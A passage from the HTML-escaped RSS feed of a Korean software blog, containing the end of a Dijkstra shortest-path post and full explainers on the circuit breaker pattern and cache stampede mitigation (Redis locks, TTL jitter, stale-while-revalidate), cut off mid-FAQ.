&lt;td&gt;모든 간선 비용이 동일&lt;/td&gt;
&lt;td&gt;BFS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;가중치가 0 이상, 한 출발점&lt;/td&gt;
&lt;td&gt;Dijkstra&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;목적지 하나와 유효한 휴리스틱이 있음&lt;/td&gt;
&lt;td&gt;A*&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;음수 가중치가 있음&lt;/td&gt;
&lt;td&gt;Bellman–Ford&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;A*는 목적지까지 남은 거리를 추정하는 휴리스틱을 더해 탐색 방향을 목적지 쪽으로 좁힙니다. 다익스트라는 휴리스틱 없이 누적 비용만 보기 때문에 더 넓게 탐색하지만 기준이 단순하고 확실합니다.&lt;/p&gt;
&lt;h2&gt;실제 지도 앱은 무엇을 더 고려할까&lt;/h2&gt;
&lt;p&gt;실제 경로 탐색의 가중치는 단순 거리 하나가 아닙니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;현재·예상 교통량&lt;/li&gt;
&lt;li&gt;제한 속도와 신호 대기&lt;/li&gt;
&lt;li&gt;좌회전·유턴 비용&lt;/li&gt;
&lt;li&gt;통행료와 도로 등급&lt;/li&gt;
&lt;li&gt;일방통행과 시간대별 통제&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;또한 도시 전체 그래프는 매우 크므로 양방향 탐색, A*, 계층형 전처리 같은 최적화를 함께 사용합니다. 다익스트라는 그 최단 경로 문제를 이해하는 출발점입니다.&lt;/p&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;지도를 노드·간선·가중치로 바꿉니다.&lt;/li&gt;
&lt;li&gt;출발점부터 누적 비용이 가장 작은 미확정 노드를 고릅니다.&lt;/li&gt;
&lt;li&gt;이웃 노드의 거리를 완화하고 이전 노드를 기록합니다.&lt;/li&gt;
&lt;li&gt;목적지가 확정되면 이전 노드를 역추적해 경로를 복원합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;가까워 보이는 길을 고르는 것이 아니라, 지금까지의 총비용이 가장 작은 노드를 확정하는 알고리즘입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;다익스트라는 목적지를 발견하면 바로 끝내도 되나요?&lt;/h3&gt;
&lt;p&gt;아닙니다. 목적지가 우선순위 큐에 들어온 순간에는 더 짧은 경로가 나중에 발견될 수 있습니다. 목적지가 최소 거리 노드로 큐에서 꺼내져 확정됐을 때 종료해야 합니다.&lt;/p&gt;
&lt;h3&gt;도달할 수 없는 목적지는 어떻게 알 수 있나요?&lt;/h3&gt;
&lt;p&gt;우선순위 큐가 비었는데 목적지 거리가 무한대라면 출발점에서 목적지로 가는 경로가 없는 것입니다.&lt;/p&gt;
&lt;h3&gt;간선 가중치가 모두 1이면 다익스트라를 써도 되나요?&lt;/h3&gt;
&lt;p&gt;정답은 구할 수 있지만 BFS가 더 단순하고 빠릅니다. 모든 간선 비용이 같다면 최소 비용은 최소 간선 수와 같기 때문입니다.&lt;/p&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://doi.org/10.1007/BF01386390&quot;&gt;E. W. Dijkstra — A Note on Two Problems in Connexion with Graphs (1959)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://networkx.org/documentation/latest/reference/algorithms/shortest_paths/dijkstra.html&quot;&gt;NetworkX — Dijkstra’s Algorithm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.boost.org/doc/libs/latest/libs/graph/doc/html/graph/algorithms/shortest_paths/shortest_paths_overview.html&quot;&gt;Boost.Graph — Shortest Paths&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[서킷 브레이커란? 재시도가 전체 장애를 만드는 순간]]></title><description><![CDATA[…]]></description><link>https://blog.javapark.kr/circuit-breaker-pattern/</link><guid isPermaLink="false">https://blog.javapark.kr/circuit-breaker-pattern/</guid><pubDate>Fri, 28 Aug 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/87f7b3db9f21866043a125322ba0200b/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACI0lEQVR42j2SW2/TQBCFXUrtvTiO4ySOE9+96ySOc3XS3BpSJ1XbJCoSolxalSfUVkLioQ8IEE9I8Aq/mXFBSJ+s0Vpnz5mZFYqiXsWWTT2TONkXW4CF7Qwpw0a2hzxOeJM0Itpq0RYUDDMXuUJRLPskjJUeJ4220quJVnGvVH6i6/sVS7Ic5ICyDr/kTlce9OVkkEs6crdBG3AuaE/LabJ6eXZ5Pt/sZruLxcX19vrVyeub3U1UbtkHVp3UY9ru55J5YbzQJuP8ZKAM4YRhLpQO9Lur+4f3D18+fL69uv/68dvv779+fvpxd3nLcsxHfpNEY3W61k83xvitO3mmLRJlFst9ThtCRaoetRZpZ7UZnW/D2ZvRZtVbz+vzqBTZos1J2FV6S2N5rK+3xu6d/2JdXqaV7lSLOa0LhlStItOhLkyIYScQrcpepbpfg2597IU4TNQkNdOpNjvRz6ba8ao8e+7FqRH5hAtVqWbCYJFlY8dCjkO8gAYZJIDMIeZtGRoejPPTqXo0LyxnhflIHTbl2CWBUJNMU7IsBCtxwA0W4GV4AfIBhliTNGHUPWWQ5A8H+cOhOkoKfUbDGrIFUP4F9vlf7GfiAIBbfByEpN6kUSTHYBjKkUuYiRx4IAI8Aw/7jHKGg0e3ANwAjhnUcJfzL5HvkQCi2tg1kKlJek4sCLZkw2C4zKHJzOdRD0ABGogDoWCosBQ9wwBDVSzmRJWKyh/KKldYsEnragAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/87f7b3db9f21866043a125322ba0200b/a1b3b/thumbnail.webp 215w,
/static/87f7b3db9f21866043a125322ba0200b/fc700/thumbnail.webp 430w,
/static/87f7b3db9f21866043a125322ba0200b/521f7/thumbnail.webp 860w,
/static/87f7b3db9f21866043a125322ba0200b/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/87f7b3db9f21866043a125322ba0200b/f7886/thumbnail.png 215w,
/static/87f7b3db9f21866043a125322ba0200b/bc750/thumbnail.png 430w,
/static/87f7b3db9f21866043a125322ba0200b/3e3fe/thumbnail.png 860w,
/static/87f7b3db9f21866043a125322ba0200b/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/87f7b3db9f21866043a125322ba0200b/3e3fe/thumbnail.png&apos; alt=&apos;서킷 브레이커가 CLOSED OPEN HALF-OPEN 상태를 전환하며 실패 호출을 차단하는 구조&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;서킷 브레이커가 CLOSED OPEN HALF-OPEN 상태를 전환하며 실패 호출을 차단하는 구조&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요. &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;결제 서버 하나가 느려졌습니다. 주문 서버는 친절하게 세 번 재시도했습니다. 잠시 뒤 주문·재고·알림 서버까지 모두 느려졌습니다.&lt;/p&gt;
&lt;p&gt;실패를 줄이려던 재시도가 왜 전체 장애를 만들었을까요?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;서킷 브레이커는 실패를 없애는 장치가 아닙니다. 실패가 다른 서비스로 번지는 것을 막는 장치입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;요청이 쌓이다 차단기가 열리고, 시험 요청 하나로 복구를 확인하는 과정은 &lt;strong&gt;54초 영상&lt;/strong&gt;으로 준비했습니다. 공개되면 이 자리에 연결합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;느린 실패가 더 위험한 이유&lt;/h2&gt;
&lt;p&gt;외부 서비스가 즉시 500을 반환하면 연결은 빨리 정리됩니다. 더 위험한 경우는 응답하지 않은 채 타임아웃까지 기다리는 상황입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;요청 1개
  × 재시도 3회
  × 각 타임아웃 3초
= 연결과 스레드가 오래 점유됨&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;호출하는 서비스의 연결 풀과 작업 스레드가 먼저 고갈될 수 있습니다. 이후 정상 기능까지 자원을 얻지 못해 연쇄 장애가 발생합니다.&lt;/p&gt;
&lt;h2&gt;CLOSED — 평소에는 통과&lt;/h2&gt;
&lt;p&gt;CLOSED 상태에서는 요청을 원격 서비스로 보냅니다. 최근 실패 횟수나 비율을 기록하다 임계값을 넘으면 OPEN으로 전환합니다.&lt;/p&gt;
&lt;p&gt;단 한 번의 실패로 여는 것은 보통 너무 민감합니다. 짧은 시간창 안의 실패 횟수·실패율·느린 호출 비율 등을 함께 봅니다.&lt;/p&gt;
&lt;h2&gt;OPEN — 원격 호출을 보내지 않는다&lt;/h2&gt;
&lt;p&gt;OPEN 상태에서는 요청을 실패 중인 서비스까지 보내지 않습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;즉시 오류 반환&lt;/li&gt;
&lt;li&gt;캐시된 값 반환&lt;/li&gt;
&lt;li&gt;축소된 기능 제공&lt;/li&gt;
&lt;li&gt;비동기 처리로 전환&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;핵심은 빠른 실패입니다. 타임아웃까지 기다리지 않으므로 호출하는 서비스의 자원을 보호하고, 실패한 서비스에도 회복할 시간을 줍니다.&lt;/p&gt;
&lt;h2&gt;HALF-OPEN — 시험 요청만 통과&lt;/h2&gt;
&lt;p&gt;OPEN 상태에서 일정 시간이 지나면 요청 전체를 즉시 복구하지 않습니다. 제한된 시험 요청만 보내는 HALF-OPEN 상태로 바뀝니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;시험 요청 성공 → 연속 성공 조건 후 CLOSED&lt;/li&gt;
&lt;li&gt;시험 요청 실패 → 즉시 OPEN&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;갑자기 트래픽을 모두 되돌리면 막 회복한 서비스가 다시 쓰러질 수 있기 때문입니다.&lt;/p&gt;
&lt;h2&gt;Retry와 역할이 다르다&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;패턴&lt;/th&gt;
&lt;th&gt;질문&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Timeout&lt;/td&gt;
&lt;td&gt;얼마나 기다릴까?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Retry&lt;/td&gt;
&lt;td&gt;일시적 실패를 다시 시도할까?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Circuit Breaker&lt;/td&gt;
&lt;td&gt;지금 호출 자체를 보내도 될까?&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Retry는 곧 성공할 가능성이 있는 일시적 실패를 다룹니다. Circuit Breaker는 계속 실패할 가능성이 높을 때 호출을 중단합니다. 둘을 함께 쓴다면 OPEN 신호를 받은 재시도 로직도 멈춰야 합니다.&lt;/p&gt;
&lt;h2&gt;상태는 어디까지 공유할까&lt;/h2&gt;
&lt;p&gt;인스턴스마다 독립적인 서킷 브레이커를 두면 구현은 단순하지만 각 인스턴스가 서로 다른 상태를 볼 수 있습니다. 반대로 상태를 중앙 공유하면 일관성은 높아지지만 네트워크·저장소 의존성이 하나 더 생깁니다.&lt;/p&gt;
&lt;p&gt;대부분은 호출 대상·엔드포인트별로 로컬 상태를 두고, 상태 전환 이벤트와 지표를 중앙 모니터링에 모읍니다.&lt;/p&gt;
&lt;h2&gt;Fallback도 공짜가 아니다&lt;/h2&gt;
&lt;p&gt;OPEN 상태에서 기본값이나 캐시를 반환하면 사용자 경험은 좋아질 수 있습니다. 하지만 오래된 가격·재고·권한 정보를 반환하면 더 큰 문제가 됩니다.&lt;/p&gt;
&lt;p&gt;fallback이 가능한 데이터와 반드시 실패해야 하는 작업을 구분해야 합니다. 결제 요청을 성공처럼 꾸미는 fallback은 허용할 수 없습니다.&lt;/p&gt;
&lt;h2&gt;무엇을 모니터링할까&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;CLOSED·OPEN·HALF-OPEN 상태 전환 횟수&lt;/li&gt;
&lt;li&gt;차단된 호출 수&lt;/li&gt;
&lt;li&gt;실패율과 느린 호출 비율&lt;/li&gt;
&lt;li&gt;OPEN 유지시간&lt;/li&gt;
&lt;li&gt;HALF-OPEN 시험 요청 성공률&lt;/li&gt;
&lt;li&gt;fallback 사용량&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;상태 전환 이벤트는 장애 원인을 찾는 중요한 시간표가 됩니다.&lt;/p&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;CLOSED에서는 호출을 통과시키며 실패를 관찰합니다.&lt;/li&gt;
&lt;li&gt;임계값을 넘으면 OPEN으로 바뀌어 빠르게 실패합니다.&lt;/li&gt;
&lt;li&gt;대기시간 후 HALF-OPEN에서 소수 요청으로 회복을 시험합니다.&lt;/li&gt;
&lt;li&gt;Retry는 다시 시도하는 패턴이고 Circuit Breaker는 호출을 멈추는 패턴입니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;장애가 난 서비스를 계속 두드리는 것은 복구 전략이 아닙니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;Timeout과 Circuit Breaker는 둘 다 필요한가요?&lt;/h3&gt;
&lt;p&gt;필요합니다. Timeout은 개별 호출을 얼마나 기다릴지 정하고, Circuit Breaker는 최근 실패가 누적됐을 때 호출 자체를 보낼지 결정합니다. Timeout이 없다면 느린 호출 하나가 오래 자원을 점유하고, Breaker가 없다면 실패할 호출을 매번 반복합니다.&lt;/p&gt;
&lt;h3&gt;Retry와 Circuit Breaker를 함께 써도 되나요?&lt;/h3&gt;
&lt;p&gt;함께 쓸 수 있지만 재시도 횟수와 간격을 제한해야 합니다. Breaker가 OPEN이면 Retry는 즉시 중단하고, 일시 오류에만 지수 백오프와 지터를 적용해야 장애 중인 서비스에 재시도 폭풍을 만들지 않습니다.&lt;/p&gt;
&lt;h3&gt;실패율 임계값은 몇 퍼센트가 적당한가요?&lt;/h3&gt;
&lt;p&gt;정답은 없습니다. 호출량, 정상 오류율, 지연 시간, 사업 영향에 따라 달라집니다. 낮은 트래픽에서는 최소 호출 수를 먼저 채운 뒤 실패율을 계산하고, 실패율뿐 아니라 느린 호출 비율도 함께 관찰하는 것이 안전합니다.&lt;/p&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/azure/architecture/patterns/circuit-breaker&quot;&gt;Microsoft Azure Architecture Center — Circuit Breaker Pattern&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://resilience4j.readme.io/docs/circuitbreaker&quot;&gt;Resilience4j — CircuitBreaker&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[캐시 스탬피드란? 적중률 99%인데 DB가 터지는 1초]]></title><description><![CDATA[안녕하세요. 자바파커입니다. 캐시 적중률이 99%인데 DB…]]></description><link>https://blog.javapark.kr/cache-stampede/</link><guid isPermaLink="false">https://blog.javapark.kr/cache-stampede/</guid><pubDate>Thu, 27 Aug 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/b0e28c32c9abd8f41dfa914a0eb822a0/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACEElEQVR42j2SyW/TUBDGneTN2M7ieHtO4t2xndpJ0zQtJLSEplFSUlqpCFDFUnEAqYheQOoFCS6cOfIXMzYC6dPTW/SbmW/mCWaLORp6OvoG2qpoq+hqhRwVPBV8rVBkwE4HRj0Y20gadiHlEBogmE2WmLXUqORWldcrplzhcsVWWBFOA0+D1II9FyYuPgzZvM9mIc4iHDtFRIKr2+Xs9v31zauL11ebq83xuxfbxUHOZSE0xMiEeR9XuXgUw2nc3CTKIsFFistMzLoENyp3H958v7/79vXTx7fPf9x//v3r55fbm0lsee1qauGeg/MIz4bwMtevM345xscJHAaQ9UDoKOx4P13Nhqv99CQLLk+m66PxLPd27FagMbJKBZ+kcD6STgfyMpXOh9J6iAcBFpl7begVDsVAE2NdJpPdRtVp1YjsU58smLq4LOHtsHGWNZ6NpFWGUx8HBNttINLTRF8nIfmMuRxzqW8iwQMOEwepSesMno7wYlfajOBRjLsu9DkINBJXLboaaBDqNACklbCYZEJiQt4tKieTi6i5itsPQhx7kHbB0UBwS9gtRxroBU8z6P8jozLKoMOmbv1Jx9vY8aGrxFbN08FogUA5I1NMLSnh+BdIePEHSHSkWH6psLgXUy76BvRU0JtMkZngl/CgQz7F/zlJtKFC6JV8UV+6ClgK4wozmqDWoSWzhsT+AKEiSDYlUqkeAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/b0e28c32c9abd8f41dfa914a0eb822a0/a1b3b/thumbnail.webp 215w,
/static/b0e28c32c9abd8f41dfa914a0eb822a0/fc700/thumbnail.webp 430w,
/static/b0e28c32c9abd8f41dfa914a0eb822a0/521f7/thumbnail.webp 860w,
/static/b0e28c32c9abd8f41dfa914a0eb822a0/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/b0e28c32c9abd8f41dfa914a0eb822a0/f7886/thumbnail.png 215w,
/static/b0e28c32c9abd8f41dfa914a0eb822a0/bc750/thumbnail.png 430w,
/static/b0e28c32c9abd8f41dfa914a0eb822a0/3e3fe/thumbnail.png 860w,
/static/b0e28c32c9abd8f41dfa914a0eb822a0/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/b0e28c32c9abd8f41dfa914a0eb822a0/3e3fe/thumbnail.png&apos; alt=&apos;캐시 TTL이 0이 되는 순간 다수 요청이 DB로 몰리는 캐시 스탬피드&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;캐시 TTL이 0이 되는 순간 다수 요청이 DB로 몰리는 캐시 스탬피드&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요. &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;캐시 적중률이 99%인데 DB가 갑자기 멈췄습니다. 캐시를 더 많이 쓰고 있었는데 왜 장애가 났을까요?&lt;/p&gt;
&lt;p&gt;원인은 인기 키 하나의 만료 시각이었습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;캐시가 없어서가 아니라, 모두가 같은 순간 캐시가 없다는 사실을 발견해서 터집니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;TTL이 &lt;code class=&quot;language-text&quot;&gt;1 → 0&lt;/code&gt;이 되는 순간 요청이 DB로 폭발하고, 락 하나로 다시 한 줄이 되는 과정은 &lt;strong&gt;52초 영상&lt;/strong&gt;으로 준비했습니다. 공개되면 이 자리에 연결합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Cache Stampede가 발생하는 순서&lt;/h2&gt;
&lt;p&gt;평소 요청 흐름은 단순합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;요청 → Cache HIT → 응답&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;하지만 인기 키가 만료되면 동시에 도착한 요청이 모두 MISS를 봅니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;100 requests → Cache MISS × 100 → DB query × 100&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;첫 요청이 DB 값을 읽어 캐시에 넣는 동안 나머지 99개도 같은 일을 시작합니다. 이 중복 작업이 DB 연결과 CPU를 소모하고 응답 지연을 키웁니다. 느려진 DB 때문에 요청이 더 오래 남고, 남은 연결이 다시 늘어나는 양의 피드백이 생깁니다.&lt;/p&gt;
&lt;h2&gt;적중률 99%가 장애를 숨기는 이유&lt;/h2&gt;
&lt;p&gt;하루 전체로 보면 대부분 HIT라 적중률은 높게 유지될 수 있습니다. 그러나 장애는 평균이 아니라 짧은 한순간에 발생합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;평균 적중률: 99%&lt;/li&gt;
&lt;li&gt;특정 인기 키 만료 직후: MISS 100%&lt;/li&gt;
&lt;li&gt;DB 쿼리: 평소 1회 → 순간 100회&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;그래서 전체 hit ratio만 보면 원인을 놓칩니다. 키별 MISS 급증과 원본 저장소 동시 요청 수를 함께 봐야 합니다.&lt;/p&gt;
&lt;h2&gt;해결 1 — 한 요청만 재생성한다&lt;/h2&gt;
&lt;p&gt;대표적인 방법은 짧은 락입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Request 1 → lock 획득 → DB 조회 → Cache SET
Request 2~100 → 대기 또는 이전 값 반환&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Redis에서는 &lt;code class=&quot;language-text&quot;&gt;SET key value NX PX &amp;lt;ttl&gt;&lt;/code&gt;처럼 원자적으로 락을 잡을 수 있습니다. 락에는 반드시 만료시간이 있어야 합니다. 값을 재생성하던 프로세스가 죽어도 영원히 잠기지 않게 하기 위해서입니다.&lt;/p&gt;
&lt;p&gt;락 소유자 확인 없이 다른 프로세스의 락을 삭제하면 안 됩니다. 고유 토큰을 저장하고, 토큰이 일치할 때만 Lua 스크립트로 삭제하는 방식이 안전합니다.&lt;/p&gt;
&lt;h2&gt;해결 2 — TTL에 지터를 섞는다&lt;/h2&gt;
&lt;p&gt;수천 개 키가 배포 시점에 함께 생성되면 같은 시각에 만료될 수 있습니다. TTL을 모두 정확히 10분으로 두지 말고 작은 랜덤 값을 더합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;TTL = 600초 + random(0~60초)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;지터는 여러 키의 동시 만료를 흩뜨립니다. 단, 인기 키 하나에 요청이 몰리는 문제까지 해결하지는 못하므로 락과 목적이 다릅니다.&lt;/p&gt;
&lt;h2&gt;해결 3 — 만료 전에 갱신한다&lt;/h2&gt;
&lt;p&gt;논리적 만료시각을 값과 함께 저장하고, 실제 캐시는 조금 더 오래 유지할 수 있습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;아직 신선함: 현재 값 반환&lt;/li&gt;
&lt;li&gt;곧 만료: 현재 값 반환 + 백그라운드 갱신&lt;/li&gt;
&lt;li&gt;갱신 중: 다른 요청은 이전 값 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이를 stale-while-revalidate 패턴으로 볼 수 있습니다. 최신성이 몇 초 늦어도 되는 조회에 잘 맞습니다.&lt;/p&gt;
&lt;h2&gt;락에도 실패 모드가 있다&lt;/h2&gt;
&lt;p&gt;분산 락을 추가했다고 끝은 아닙니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;락 TTL보다 재생성이 오래 걸림&lt;/li&gt;
&lt;li&gt;락 보유 프로세스가 중간에 종료됨&lt;/li&gt;
&lt;li&gt;모든 대기 요청이 동시에 타임아웃됨&lt;/li&gt;
&lt;li&gt;캐시와 DB가 동시에 느려짐&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;락 획득 실패 시 무조건 기다릴지, 이전 값을 줄지, 빠르게 실패할지는 데이터의 최신성 요구사항에 따라 결정해야 합니다.&lt;/p&gt;
&lt;h2&gt;무엇을 모니터링할까&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;지표&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;키별 MISS 비율&lt;/td&gt;
&lt;td&gt;특정 인기 키 만료 감지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;원본 동시 요청 수&lt;/td&gt;
&lt;td&gt;stampede 크기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;값 재생성 시간&lt;/td&gt;
&lt;td&gt;락 TTL 근거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;lock wait time&lt;/td&gt;
&lt;td&gt;대기 지연&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;stale 응답 수&lt;/td&gt;
&lt;td&gt;완화 정책 동작 여부&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;캐시 스탬피드는 같은 키의 동시 MISS가 원본 저장소를 덮치는 현상입니다.&lt;/li&gt;
&lt;li&gt;적중률 평균이 높아도 짧은 만료 순간에 장애가 날 수 있습니다.&lt;/li&gt;
&lt;li&gt;한 요청만 재생성하도록 락을 걸고, 나머지는 기다리거나 이전 값을 씁니다.&lt;/li&gt;
&lt;li&gt;여러 키의 동시 만료는 TTL 지터로 흩뜨립니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;캐시는 부하를 없애는 것이 아니라 시간을 옮깁니다. 만료 시각을 설계하지 않으면 그 부하가 한순간에 돌아옵니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;캐시 스탬피드와 캐시 애벌랜치는 같은 뜻인가요?&lt;/h3&gt;
&lt;p&gt;스탬피드는 인기 키 하나가 만료돼 같은 데이터를 재생성하려는 요청이 몰리는 현상입니다. 애벌랜치는 많은 키가 비슷한 시각에 만료되거나 캐시 계층 전체가 장애를 일으켜 원본 저장소로 대규모 트래픽이 쏟아지는 더 넓은 상황을 가리킵니다.&lt;/p&gt;
&lt;h3&gt;모든 캐시 재생성에 분산 락이 필요한가요?&lt;/h3&gt;
